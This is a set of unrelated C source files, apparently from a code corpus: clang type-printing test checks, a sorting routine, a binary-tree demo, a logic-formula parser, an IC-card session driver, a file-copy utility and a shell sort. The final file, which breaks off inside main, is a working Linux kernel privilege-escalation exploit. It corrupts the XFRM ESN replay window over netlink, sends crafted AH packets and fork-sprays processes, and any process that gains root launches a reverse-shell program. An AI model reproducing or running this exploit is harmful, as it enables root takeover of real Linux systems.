// CHECK: VarDecl=x:10:38 [type=__attribute__((__vector_size__(4 * sizeof(int)))) int] [typekind=Vector] [isPOD=1]
// CHECK: TypedefDecl=int4_t:11:46 (Definition) [type=int4_t] [typekind=Typedef] [canonicaltype=__attribute__((__vector_size__(4 * sizeof(int)))) int] [canonicaltypekind=Vector] [isPOD=1]
// CHECK: ParmDecl=incompletearray:13:12 (Definition) [type=int[]] [typekind=IncompleteArray] [isPOD=1]
// CHECK: FunctionDecl=elaboratedEnumType:15:25 [type=enum Enum ()] [typekind=FunctionNoProto] [canonicaltype=enum Enum ()] [canonicaltypekind=FunctionNoProto] [resulttype=enum Enum] [resulttypekind=Elaborated] [isPOD=0]
// CHECK: TypeRef=enum Enum:15:6 [type=enum Enum] [typekind=Enum] [isPOD=1]
// CHECK: StructDecl=Struct:16:8 (Definition) [type=struct Struct] [typekind=Record] [isPOD=1]
// CHECK: FunctionDecl=elaboratedStructType:16:32 [type=struct Struct ()] [typekind=FunctionNoProto] [canonicaltype=struct Struct ()] [canonicaltypekind=FunctionNoProto] [resulttype=struct Struct] [resulttypekind=Elaborated] [isPOD=0]
// CHECK: TypeRef=struct Struct:16:8 [type=struct Struct] [typekind=Record] [isPOD=1]
// CHECK: StructDecl=:18:1 (Definition) [type=struct (unnamed at {{.*}}print-type.c:18:1)] [typekind=Record] [isPOD=1] [nbFields=2] [isAnon=1] [isAnonRecDecl=0]
// CHECK: StructDecl=:23:1 (Definition) [type=struct (unnamed at {{.*}}print-type.c:23:1)] [typekind=Record] [isPOD=1] [nbFields=1] [isAnon=1] [isAnonRecDecl=0]
// CHECK: StructDecl=:24:3 (Definition) [type=struct (anonymous at {{.*}}print-type.c:24:3)] [typekind=Record] [isPOD=1] [nbFields=2] [isAnon=1] [isAnonRecDecl=1]
// CHECK: FieldDecl=x:25:17 (Definition) [type=_Atomic(int)] [typekind=Atomic] [valuetype=int] [valuetypekind=Int] [isPOD=0] [isAnonRecDecl=0]
// CHECK: FieldDecl=y:26:9 (Definition) [type=int] [typekind=Int] [isPOD=1] [isAnonRecDecl=0]
// CHECK: StructDecl=:30:10 (Definition) [type=struct (unnamed at {{.*}}print-type.c:30:10)] [typekind=Record] [isPOD=1] [nbFields=2] [isAnon=1] [isAnonRecDecl=0]
// CHECK: VarDecl=aul:32:24 [type=_Atomic(unsigned long)] [typekind=Atomic] [valuetype=unsigned long] [valuetypekind=ULong] [isPOD=0] [isAnonRecDecl=0]
|
the_stack_data/92326030.c
|
#include <stdio.h>
int main(int argc, char *argv[]) {
int x,y,z;
scanf("%d %d %d",&x,&y,&z);
if(x>y)
if(y>z)
printf("%d %d %d",x,y,z);
else
if(x>z)
printf("%d %d %d",x,z,y);
else
printf("%d %d %d",z,x,y);
else
if(y<z)
printf("%d %d %d",z,y,x);
else
if(x>z)
printf("%d %d %d",y,x,z);
else
printf("%d %d %d",y,z,x);
return 0;
}
|
the_stack_data/231394504.c
|
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
#define MAXSIZE 100 /* 存储空间初始分配量 */
#define MAX_TREE_SIZE 100 /* 二叉树的最大结点数 */
#define ClearTree InitTree /* 顺序结构中,这两个函数是同样的*/
typedef int boolean;
typedef char ElementType;
typedef ElementType BinTree[MAX_TREE_SIZE + 1];
ElementType Nil = 0;
int InitTree(BinTree tree)
{
int i;
for (i = 0; i <= MAX_TREE_SIZE; i ++)
{
tree[i] = Nil;
}
return OK;
}
/* 按层序次序输入二叉树中结点的值(字符型), 构造顺序存储的二叉树
在实际情况下,这里如果创建失败,可能需要考虑将已经填入的数据清空
*/
int FillTree(BinTree tree, const ElementType *data)
{
int i = 1;
tree[0] = Nil;
while (data[i - 1] != '\0')
{
if (data[i - 1] == '0')
{
tree[i] = Nil;
} else
{
tree[i] = data[i - 1];
}
// 不是头结点 && 当前节点值不为空
// 检查其必须有父节点
// putchar(tree[i]);
if (i != 1 && tree[i] != Nil)
{
if (tree[i / 2] == Nil)
{
return ERROR;
}
}
i ++;
}
while (i <= MAX_TREE_SIZE)
{
tree[i] = Nil;
i ++;
}
return OK;
}
int BinTreeEmpty(BinTree tree)
{
return tree[1] == Nil;
}
int BiTreeDepth(BinTree tree)
{
int last_index, depth = 0;
for (last_index = MAX_TREE_SIZE; last_index > 0; last_index --)
{
if (tree[last_index] != Nil)
{
break;
}
}
// 一个有k层的二叉树,其节点个数n与k的关系满足2^(k-1) - 1 < n <= 2^ k - 1,所以n个节点,层数k满足log2(n+1) + 1 > k >= log2(n+1)
while (pow(2, depth) - 1 < last_index)
{
depth ++;
}
return depth;
}
int Root(BinTree tree, ElementType *e)
{
if (BinTreeEmpty(tree))
{
return ERROR;
}
*e = tree[1];
return OK;
}
int Value(BinTree tree, int index, ElementType *e)
{
if (index < 1 || index > MAX_TREE_SIZE)
{
return ERROR;
}
*e = tree[index];
return OK;
}
int Assign(BinTree tree, int index, ElementType value)
{
if (index < 1 || index > MAX_TREE_SIZE || (index != 1 && tree[index / 2] == Nil))
{
return ERROR;
}
tree[index] = value;
return OK;
}
int Parent(BinTree tree, int index, ElementType *result)
{
int i;
// 根节点不可能有父节点
// tree[index] == Nil保证当前节点存在,如果当前节点存在,那么气父节点肯定存在
if (index < 2 || index > MAX_TREE_SIZE || tree[index] == Nil)
{
return ERROR;
}
*result = tree[index / 2];
return OK;
}
int LeftChild(BinTree tree, int index, ElementType *e)
{
// 确定当前节点和其左孩子节点存在
if (index < 1 || index > MAX_TREE_SIZE || tree[index] == Nil || tree[2 * index] == Nil)
{
return ERROR;
}
*e = tree[2 * index];
return OK;
}
int RightChild(BinTree tree, int index, ElementType *e)
{
// 确定当前节点和其右孩子节点存在
if (index < 1 || index > MAX_TREE_SIZE || tree[index] == Nil || tree[2 * index + 1] == Nil)
{
return ERROR;
}
*e = tree[2 * index + 1];
return OK;
}
int LeftSibling(BinTree tree, int index,ElementType *e)
{
// 根节点不可能有左兄弟
// 当前节点必须存在且必须为右节点
if (index < 2 || index > MAX_TREE_SIZE || tree[index] == Nil || index % 2 == 1)
{
return ERROR;
}
*e = tree[index - 1];
return OK;
}
int RightSibling(BinTree tree, int index,ElementType *e)
{
// 当前节点必须存在且必须为左节点
// 其右兄弟必须存在
if (index < 1 || index > MAX_TREE_SIZE || tree[index] == Nil || index % 2 == 0 || tree[index + 1] == Nil)
{
return ERROR;
}
*e = tree[index + 1];
return OK;
}
/* 先序遍历 index:树的根节点序号(可以遍历子树,遍历整个树传index = 1) */
void PreOrderTraverse(BinTree tree, int index)
{
if (tree[index] == Nil)
{
return;
}
// 先打印
putchar(tree[index]);
// 遍历左子树
PreOrderTraverse(tree, 2 * index);
// 遍历右子树
PreOrderTraverse(tree, 2 * index + 1);
}
/* 中序遍历 index:树的根节点序号(可以遍历子树,遍历整个树传index = 1) */
void InOrderTraverse(BinTree tree, int index)
{
if (tree[index] == Nil)
{
return;
}
InOrderTraverse(tree, 2 * index);
putchar(tree[index]);
InOrderTraverse(tree, 2 * index + 1);
}
/* 后序遍历 index:树的根节点序号(可以遍历子树,遍历整个树传index = 1) */
void PostOrderTraverse(BinTree tree, int index)
{
if (tree[index] == Nil)
{
return;
}
PostOrderTraverse(tree, 2 * index);
PostOrderTraverse(tree, 2 * index + 1);
putchar(tree[index]);
}
/* 层序遍历二叉树 */
void LevelOrderTraverse(BinTree tree)
{
int i;
if (BinTreeEmpty(tree))
{
return;
}
for (i = 1; i <= MAX_TREE_SIZE; i ++)
{
if (tree[i] != Nil)
{
putchar(tree[i]);
}
}
}
int main(int argc, char **argv)
{
int status;
ElementType e, e1;
BinTree tree;
puts("init tree");
InitTree(tree);
printf("is binary tree empty?\n%d", BinTreeEmpty(tree));
// 这里必须使用字符指针，不能使用字符数组，不然后续不能使用字符串常量赋值给字符数组
// (data = "ABC0DE000FGHI";编译失败,data作为字符数组名时为一个指针，但是其实际为字符数组类型，存在逻辑上的不自恰)，
// 自恰:self consistent
ElementType *data = "AB0CDEFG";
printf("using char array :\t %s \tto fill tree,succeed?\n%d\n", data, FillTree(tree, data));
puts("init tree");
InitTree(tree);
data = "ABC0DE000FGHI";
// A
// B C
// 0 D E 0
// 0 0 F G H I
printf("using char array :\t %s \tto fill tree,succeed?\n %d\n", data, FillTree(tree, data));
printf("建立二叉树后,树空否？%d 树的深度=%d\n", BinTreeEmpty(tree), BiTreeDepth(tree));
status = Root(tree, &e);
if (status)
printf("二叉树的根为：%c\n", e);
else
printf("树空，无根\n");
printf("层序遍历二叉树:\n");
LevelOrderTraverse(tree);
puts("");
printf("前序遍历二叉树:\n");
PreOrderTraverse(tree, 1);
puts("");
printf("中序遍历二叉树:\n");
InOrderTraverse(tree, 1);
puts("");
printf("后序遍历二叉树:\n");
PostOrderTraverse(tree, 1);
puts("");
Value(tree, 3, &e);
printf("第3个节点的值:%c\n", e);
e = '?';
Assign(tree, 7, e);
Value(tree, 7, &e);
printf("修改后第7个节点的值:%c\n", e);
printf("前序遍历二叉树:\n");
PreOrderTraverse(tree, 1);
puts("");
Parent(tree, 6, &e);
Value(tree, 6, &e1);
printf("结点%c的parent为%c,左右孩子分别为", e1, e);
LeftChild(tree, 6, &e);
RightChild(tree, 6, &e1);
printf("%c,%c,左右兄弟分别为", e, e1);
LeftSibling(tree, 13,&e);
RightSibling(tree,12, &e1);
printf("%c,%c\n", e, e1);
ClearTree(tree);
printf("清除二叉树后,树空否？%d 树的深度=%d\n", BinTreeEmpty(tree), BiTreeDepth(tree));
status = Root(tree, &e);
if (status)
printf("二叉树的根为：%d\n", e);
else
printf("树空，无根\n");
return 0;
}
|
the_stack_data/115764981.c
|
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct P P;
typedef struct S S;
struct S {
enum { S_ID, S_P } type;
union {
char *id;
P *P_child;
} u;
};
struct P {
enum { P_S, P_neg, P_and, P_or, P_impl } type;
union {
S *S_child; /* for P_S and P_neg */
struct {
S *l_child;
S *r_child;
} S_pair; /* for P_and, P_or, P_impl */
} u;
};
/* current token */
struct token {
enum token_type { ID, LPAREN, RPAREN, LNEG, LAND, LOR, LIMPL, NONE } type;
char *id; /* only used when type == ID, must be copied */
};
/* does not own the program source, only points to it */
struct parser {
struct token curr_token;
struct token (*next_token)(char **str);
char *prog_pos;
};
void *kalloc(size_t size);
/* returns first token in the string pointed by *s and increments *s to the position
* immediately after the token if it exists, also allocs and sets sets id if the token is an ID
* otherwise id == NULL and free(id) can be called safely
*/
struct token lex_token(char **str)
{
char *s = *str, *p = *str;
struct token tok = {NONE, NULL}; /* invalid input if no character matched */
while (isspace(*s))
s++;
switch (*s) {
case '(':
*str = s + 1;
tok.type = LPAREN;
break;
case ')':
*str = s + 1;
tok.type = RPAREN;
break;
case '!': /* C doesn't have unicode support :( */
*str = s + 1;
tok.type = LNEG;
break;
case '&':
*str = s + 1;
tok.type = LAND;
break;
case '|':
*str = s + 1;
tok.type = LOR;
break;
case '>':
*str = s + 1;
tok.type = LIMPL;
break;
default:
if (isalnum(*s)) {
while (isalnum(*p))
p++;
tok.id = kalloc(sizeof(*(tok.id)) * (p - s + 1));
strncpy(tok.id, s, p - s);
tok.id[p-s] = '\0';
*str = p;
tok.type = ID;
}
}
printf("Got token [type: %d, id: %s]\n", tok.type, tok.id);
return tok;
}
/* makes parse fetch next token */
void next(struct parser *p)
{
free(p->curr_token.id);
p->curr_token = (*(p->next_token))(&p->prog_pos);
}
void *kalloc(size_t size)
{
void *p;
if (size == 0) {
return NULL;
}
if ((p = malloc(size)) == NULL) {
perror("prop-parse");
abort();
}
return p;
}
char *kstrdup(const char *s)
{
char *p;
if ((p = strdup(s)) == NULL) {
perror("prop-parse");
abort();
}
return p;
}
P *parse_P(struct parser *parser);
/* parse a subproposition */
/* assumes a valid token has been loaded */
S *parse_S(struct parser *parser)
{
S *s = kalloc(sizeof(*s));
if (parser->curr_token.type == ID) {
s->type = S_ID;
s->u.id = kstrdup(parser->curr_token.id);
next(parser);
} else if (parser->curr_token.type == LPAREN) {
s->type = S_P;
next(parser);
s->u.P_child = parse_P(parser);
if (parser->curr_token.type != RPAREN) {
fprintf(stderr, "Error, expected ')'\n");
abort();
}
next(parser);
} else {
fprintf(stderr, "Error, unexpected token when parsing S\n");
abort();
}
return s;
}
/* parse a proposition */
P *parse_P(struct parser *parser)
{
P *p = kalloc(sizeof(*p));
if (parser->curr_token.type == LNEG) {
p->type = P_neg;
next(parser);
p->u.S_child = parse_S(parser);
} else {
p->u.S_pair.l_child = parse_S(parser);
switch (parser->curr_token.type) {
case LAND:
p->type = P_and;
break;
case LOR:
p->type = P_or;
break;
case LIMPL:
p->type = P_impl;
break;
default: /* P -> S */
p->type = P_S;
p->u.S_child = p->u.S_pair.l_child;
return p;
}
next(parser);
p->u.S_pair.r_child = parse_S(parser);
}
return p;
}
void free_P(P *p);
void free_S(S *s)
{
switch (s->type) {
case S_ID:
free(s->u.id);
break;
case S_P:
free_P(s->u.P_child);
break;
default:
fprintf(stderr, "Error freeing invalid S node\n");
abort();
}
free(s);
}
void free_P(P *p)
{
switch (p->type) {
case P_S:
case P_neg:
free(p->u.S_child);
break;
case P_and:
case P_or:
case P_impl:
free(p->u.S_pair.l_child);
free(p->u.S_pair.r_child);
break;
default:
fprintf(stderr, "Error freeing invalid P node\n");
abort();
}
free(p);
}
void print_P(P *p, int level);
void print_S(S *s, int level)
{
for (int i = 0; i < level; i++)
putchar('\t');
switch (s->type) {
case S_ID:
printf("S: ID %s\n", s->u.id);
break;
case S_P:
printf("S: ( P )\n");
print_P(s->u.P_child, level + 1);
break;
default:
fprintf(stderr, "Error printing invalid S node\n");
abort();
}
}
void print_P(P *p, int level)
{
for (int i = 0; i < level; i++)
putchar('\t');
switch (p->type) {
case P_S:
printf("P: S\n");
print_S(p->u.S_child, level + 1);
break;
case P_neg:
printf("P: ¬S\n");
print_S(p->u.S_child, level + 1);
break;
case P_and:
printf("P: S_left ∧ S_right\n");
print_S(p->u.S_pair.l_child, level + 1);
print_S(p->u.S_pair.r_child, level + 1);
break;
case P_or:
printf("P: S_left ∨ S_right\n");
print_S(p->u.S_pair.l_child, level + 1);
print_S(p->u.S_pair.r_child, level + 1);
break;
case P_impl:
printf("P: S_left → S_right\n");
print_S(p->u.S_pair.l_child, level + 1);
print_S(p->u.S_pair.r_child, level + 1);
break;
default:
fprintf(stderr, "Error printing invalid P node\n");
abort();
}
}
int main(void)
{
char *prog = "((!(a&b))|(c>(!d)))";
struct parser p = {{NONE, NULL}, &lex_token, prog};
P *prop;
next(&p);
prop = parse_P(&p);
print_P(prop, 0);
free(prop);
printf("done\n");
return 0;
}
|
the_stack_data/50136841.c
|
/*
* Copyright (c) 2007, 2008 University of Tsukuba
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of the University of Tsukuba nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
int prohibit_iccard_init;
#ifdef IDMAN
#include <IDMan.h>
#include "assert.h"
#include "config.h"
#include "iccard.h"
#include "initfunc.h"
#include "panic.h"
#include "printf.h"
#include "spinlock.h"
#include "string.h"
#include "timer.h"
static bool idman_ready;
static spinlock_t idman_lock;
static unsigned long idman_session;
static void
idman_init_session (void)
{
int r;
spinlock_lock (&idman_lock);
if (!idman_ready) {
if (prohibit_iccard_init)
goto ret;
r = IDMan_IPInitializeReader ();
if (r)
goto ret; /* card reader or uhci not ready */
r = IDMan_IPInitialize (config.idman.pin, &idman_session);
if (r) {
/* panic ("IC card error"); */
printf ("IC card error\n");
r = IDMan_IPFinalize (idman_session);
r = IDMan_IPFinalizeReader ();
} else {
idman_ready = true;
}
}
ret:
spinlock_unlock (&idman_lock);
}
static void
idman_finish_session (void)
{
int r;
spinlock_lock (&idman_lock);
if (idman_ready) {
r = IDMan_IPFinalize (idman_session);
if (r)
printf ("IDMan_IPFinalize failed. ignored.\n");
r = IDMan_IPFinalizeReader ();
if (r)
printf ("IDMan_IPFinalizeReader failed. ignored.\n");
idman_ready = false;
}
spinlock_unlock (&idman_lock);
}
void
idman_reinit_session (void)
{
idman_finish_session ();
idman_init_session ();
}
void
idman_reinit2 (void)
{
IDMan_IPFinalize (idman_session);
IDMan_IPInitialize (config.idman.pin, &idman_session);
}
bool
get_idman_session (unsigned long *session)
{
if (!idman_ready)
idman_init_session ();
if (idman_ready) {
*session = idman_session;
return true;
}
return false;
}
static void
iccard_init_timer (void *handle, void *data)
{
if (!config.vmm.iccard.enable)
return;
idman_init_session ();
if (!idman_ready)
timer_set (handle, 1000000);
}
static void
idman_init (void)
{
void *handle;
if (!config.vmm.iccard.enable)
return;
handle = timer_new (iccard_init_timer, NULL);
ASSERT (handle);
timer_set (handle, 1000000);
}
static void
idman_init_global (void)
{
spinlock_init (&idman_lock);
idman_ready = false;
}
INITFUNC ("paral01", idman_init_global);
INITFUNC ("driver4", idman_init);
#endif
|
the_stack_data/73575172.c
|
int jump();
int foo();
int main(void)
{
switch (1) {
case 0:
if (jump()) goto end;
foo();
end:
break;
default:
break;
}
return 0;
}
/* solution:
int main(void)
{
int goto_end = 0;
switch (1) {
case 0:
if (!jump()) {
foo();
}
end:
goto_end = 0;
break;
default:
break;
}
return 0;
}
*/
|
the_stack_data/124052.c
|
/*-
* Copyright (c) 2002-2018 The UbixOS Project.
* All rights reserved.
*
* This was developed by Christopher W. Olsen for the UbixOS Project.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* 1) Redistributions of source code must retain the above copyright notice, this list of
* conditions, the following disclaimer and the list of authors.
* 2) Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions, the following disclaimer and the list of authors in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the UbixOS Project nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS
* BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv) {
int i = 0x0;
char *buffer = (char *) malloc(0x2000);
FILE *in = 0x0;
FILE *out = 0x0;
in = fopen(argv[1], "rb");
out = fopen(argv[2], "wb");
/*
while (!feof(in)) {
*/
for (i = 0; i < 21; i++) {
fread(buffer, 0x1000, 1, in);
fwrite(buffer, 0x1000, 1, out);
}
fclose(in);
fclose(out);
return (0x0);
}
/***
$Log: main.c,v $
Revision 1.1.1.1 2006/06/01 12:46:09 reddawg
ubix2
Revision 1.2 2005/10/12 00:13:28 reddawg
Removed
Revision 1.1.1.1 2005/09/26 17:13:57 reddawg
no message
Revision 1.3 2004/05/24 13:40:35 reddawg
Clean Up
END
***/
|
the_stack_data/162642052.c
|
#include <stdio.h>
void shellsort(int A[],int n)
{
int gap, i, j, temp;
for(gap = n/2 ; gap >= 1 ; gap /= 2) {
for(i = gap ; i < n ; i++) {
temp = A[i];
j = i-gap;
while(j>=0 && A[j]>temp) {
A[j+gap] = A[j];
j = j-gap;
}
A[j+gap] = temp;
}
}
}
int main()
{
int a[] = {11,13,7,12,16,9,24,5,10,3};
int n = 10;
int i;
shellsort(a, n);
for(i = 0;i < n;i++) {
printf("%d ", a[i]);
}
printf("\n");
return 0;
}
|
the_stack_data/103714.c
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>
#include <linux/in.h>
#include <linux/xfrm.h>
#define MAX_PAYLOAD 4096
struct ip_auth_hdr {
__u8 nexthdr;
__u8 hdrlen;
__be16 reserved; /* big endian */
__be32 spi; /* big endian */
__be32 seq_no; /* big endian */
__u8 auth_data[8];
};
void fork_spary_n(int n,unsigned int time){
int i;
for(i = 0;i < n;i++){
int pid ;
pid = fork();
if(pid ==0){
sleep(time);
if(getuid() == 0){
fprintf(stderr, "[+] now get r00t\n" );
system("id");
system("/home/p4nda/Desktop/reverse_shell");
}
else{
exit(0);
}
}
}
}
int init_xfrm_socket(){
struct sockaddr_nl addr;
int result = -1,xfrm_socket;
xfrm_socket = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (xfrm_socket<=0){
perror("[-] bad NETLINK_XFRM socket ");
return result;
}
addr.nl_family = PF_NETLINK;
addr.nl_pad = 0;
addr.nl_pid = getpid();
addr.nl_groups = 0;
result = bind(xfrm_socket, (struct sockaddr *)&addr, sizeof(addr));
if (result<0){
perror("[-] bad bind ");
close(xfrm_socket);
return result;
}
return xfrm_socket;
}
int init_recvfd(){
int recvfd=-1;
recvfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
if (recvfd<=0){
perror("[-] bad IPPROTO_AH socket ");
}
return recvfd;
}
int init_sendfd(){
int sendfd=-1,err;
struct sockaddr_in addr;
sendfd= socket(AF_INET, SOCK_RAW, IPPROTO_AH );
if (sendfd<=0){
perror("[-] bad IPPROTO_AH socket ");
return -1;
}
memset(&addr,0,sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(0x4869);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
err = bind(sendfd, (struct sockaddr*)&addr,sizeof(addr));
if (err<0){
perror("[-] bad bind");
return -1;
}
return sendfd;
}
void dump_data(char *buf,size_t len){
puts("=========================");
int i ;
for(i = 0;i<((len/8)*8);i+=8){
printf("0x%lx",*(size_t *)(buf+i) );
if (i%16)
printf(" ");
else
printf("\n");
}
}
int xfrm_add_sa(int sock,int spi,int bmp_len){
struct sockaddr_nl nladdr;
struct msghdr msg;
struct nlmsghdr *nlhdr;
struct iovec iov;
int len = 4096,err;
char *data;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
nladdr.nl_pid = 0;
nladdr.nl_groups = 0;
nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
memset(nlhdr,0,NLMSG_SPACE(len));
nlhdr->nlmsg_len = NLMSG_LENGTH(len);
nlhdr->nlmsg_flags = NLM_F_REQUEST;
nlhdr->nlmsg_pid = getpid();
nlhdr->nlmsg_type = XFRM_MSG_NEWSA;
data = NLMSG_DATA(nlhdr);
struct xfrm_usersa_info xui;
memset(&xui,0,sizeof(xui));
xui.family = AF_INET;
xui.id.proto = IPPROTO_AH;
xui.id.spi = spi;
xui.id.daddr.a4 = inet_addr("127.0.0.1");
xui.lft.hard_byte_limit = 0x10000000;
xui.lft.hard_packet_limit = 0x10000000;
xui.lft.soft_byte_limit = 0x1000;
xui.lft.soft_packet_limit = 0x1000;
xui.mode = XFRM_MODE_TRANSPORT;
xui.flags = XFRM_STATE_ESN;
memcpy(data,&xui,sizeof(xui));
data += sizeof(xui);
struct nlattr nla;
struct xfrm_algo xa;
memset(&nla, 0, sizeof(nla));
memset(&xa, 0, sizeof(xa));
nla.nla_len = sizeof(xa) + sizeof(nla);
nla.nla_type = XFRMA_ALG_AUTH;
strcpy(xa.alg_name, "digest_null");
xa.alg_key_len = 0;
memcpy(data, &nla, sizeof(nla));
data += sizeof(nla);
memcpy(data, &xa, sizeof(xa));
data += sizeof(xa);
struct xfrm_replay_state_esn rs;
memset(&nla, 0, sizeof(nla));
nla.nla_len = sizeof(nla)+sizeof(rs) +bmp_len*8*4;
nla.nla_type = XFRMA_REPLAY_ESN_VAL;
rs.replay_window = bmp_len;
rs.bmp_len = bmp_len;
memcpy(data,&nla,sizeof(nla));
data += sizeof(nla);
memcpy(data, &rs, sizeof(rs));
data += sizeof(rs);
memset(data,'1',bmp_len*4*8);
iov.iov_base = (void *)nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = (void *)&(nladdr);
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
//dump_data(&msg,iov.iov_len);
err = sendmsg (sock, &msg, 0);
if (err<0){
perror("[-] bad sendmsg");
return -1;
}
return err;
}
int xfrm_new_ae(int sock,int spi,int bmp_len,int evil_windows,int seq,int seq_hi){
struct sockaddr_nl nladdr;
struct msghdr msg;
struct nlmsghdr *nlhdr;
struct iovec iov;
int len = 4096,err;
char *data;
memset(&nladdr, 0, sizeof(nladdr));
nladdr.nl_family = AF_NETLINK;
nladdr.nl_pid = 0;
nladdr.nl_groups = 0;
nlhdr = (struct nlmsghdr *)malloc(NLMSG_SPACE(len));
memset(nlhdr,0,NLMSG_SPACE(len));
nlhdr->nlmsg_len = NLMSG_LENGTH(len);
nlhdr->nlmsg_flags = NLM_F_REQUEST|NLM_F_REPLACE;
nlhdr->nlmsg_pid = getpid();
nlhdr->nlmsg_type = XFRM_MSG_NEWAE;
data = NLMSG_DATA(nlhdr);
struct xfrm_aevent_id xai;
memset(&xai,0,sizeof(xai));
xai.sa_id.proto = IPPROTO_AH;
xai.sa_id.family = AF_INET;
xai.sa_id.spi = spi;
xai.sa_id.daddr.a4 = inet_addr("127.0.0.1");
memcpy(data,&xai,sizeof(xai));
data += sizeof(xai);
struct nlattr nla;
memset(&nla, 0, sizeof(nla));
struct xfrm_replay_state_esn rs;
memset(&nla, 0, sizeof(nla));
nla.nla_len = sizeof(nla)+sizeof(rs) +bmp_len*8*4;
nla.nla_type = XFRMA_REPLAY_ESN_VAL;
rs.replay_window = evil_windows;
rs.bmp_len = bmp_len;
rs.seq_hi = seq_hi;
rs.seq = seq;
memcpy(data,&nla,sizeof(nla));
data += sizeof(nla);
memcpy(data, &rs, sizeof(rs));
data += sizeof(rs);
memset(data,'1',bmp_len*4*8);
iov.iov_base = (void *)nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
memset(&msg, 0, sizeof(msg));
msg.msg_name = (void *)&(nladdr);
msg.msg_namelen = sizeof(nladdr);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
err = sendmsg (sock, &msg, 0);
if (err<0){
perror("[-] bad sendmsg");
return -1;
}
return err;
}
int sendah(int sock,int spi,int seq ){
struct sockaddr_in sai;
struct iovec iov;
struct msghdr msg;
char *data;
struct ip_auth_hdr ah;
int err;
memset(&msg, 0, sizeof(msg));
memset(&sai, 0, sizeof(sai));
sai.sin_addr.s_addr = inet_addr("127.0.0.1");
sai.sin_port = htons(0x4869);
sai.sin_family = AF_INET;
data = malloc(4096);
memset(data,'1',4096);
ah.spi = spi;
ah.nexthdr = 1;
ah.seq_no = seq;
ah.hdrlen = (0x10 >> 2) - 2;
memcpy(data,&ah,sizeof(ah));
iov.iov_base = (void *)data;
iov.iov_len = 4096;
memset(&msg, 0, sizeof(msg));
msg.msg_name = (void *)&(sai);
msg.msg_namelen = sizeof(sai);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
//dump_data(&msg,iov.iov_len);
//dump_data(nlhdr,iov.iov_len);
err = sendmsg (sock, &msg, 0);
if (err<0){
perror("[-] bad sendmsg");
return -1;
}
return err;
}
int main(int argc, char const *argv[])
{
int spary_n=0xc00,err,xfrm_socket,recvfd,sendfd;
unsigned int time = 1;
xfrm_socket=init_xfrm_socket();
if (xfrm_socket<0){
fprintf(stderr, "[-] bad init xfrm socket\n");
exit(-1);
}
fprintf(stderr, "[+] init xfrm_socket %d \n",xfrm_socket);
recvfd = init_recvfd();
if (recvfd<0){
fprintf(stderr, "[-] bad init_recvfd\n");
exit(-1);
}
fprintf(stderr, "[+] init recvfd : %d \n",recvfd);
sendfd = init_sendfd();
